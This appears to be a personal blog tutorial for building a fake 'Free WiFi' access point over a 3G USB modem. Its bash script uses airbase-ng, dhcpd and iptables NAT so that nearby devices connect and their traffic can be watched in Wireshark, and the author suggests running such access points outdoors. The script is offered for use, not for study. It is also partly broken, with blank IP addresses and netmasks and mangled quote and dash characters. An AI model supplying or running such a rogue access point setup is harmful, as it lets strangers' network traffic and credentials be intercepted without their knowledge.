How to make a fake access point with mobile broadband (3G)

HI I hope this is going to help someone.

I ‘ve been trying to make a fake access point with my 3g usb connection for ever because I’m a beginner. now I managed to and this is how .

The purpose of this is if you don’t want to use your home network or you want to make fake access points outdoor with working network connection .

So I suppose you had downloaded and set up dhcp3 with the right configurations , and you already know how to make a fake access point with wired network.

I’m using for this a D-link dwa-125 usb wifi adapter with the [ driver=rt2800usb ] and a huawei e153 3g modem .

this the script I used I copied it from here .

here is the part of the script you need .

before you run this script you need to have you interface in monitor mode because I removed the command to, from the script.

my wifi adapter is wlan1

with airmon-ng start wlan1

copy the script to a text file, save it as and make it executable .

then run it in terminal. it will set up everything for you .

I tried it with my Android tablet and phone and it worked and I could monitor everything in wireshark.

what I did is change the interface name from wlan1 to ppp0 in the line

iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE
Save it as and run script
#! /bin/bash #start the fake ap

echo “[+] Starting the fake access point”
xterm -geometry 75×15+1+0 -T FakeAP -e airbase-ng -P -C 9 -e “Free WiFi” mon0 -v&
sleep 2
# -e for name, -c for channel, on the monitor mon0

#this will create a virtuel interface called at0

echo “[+] Configure at0 with dhcp”
ifconfig at0 up
ifconfig at0 netmask

echo “[+]add a route for the traffic”
route add -net netmask gw
# == the netmask
# == the subnet which is /25
# == the gatway aka first avaible IP address on the network

#now point the new dhcp.conf to the dhcp3-server

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/ at0

# run the following commands to flush all ip-tables and setup new ones
echo “[+] iptables”
iptables –flush && iptables –table nat –flush && iptables –delete-chain && iptables –table nat –delete-chain &&
iptables –table nat –append POSTROUTING –out-interface ppp0 -j MASQUERADE &&
iptables –append FORWARD –in-interface at0 -j ACCEPT &&
echo 1 > /proc/sys/net/ipv4/ip_forward


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s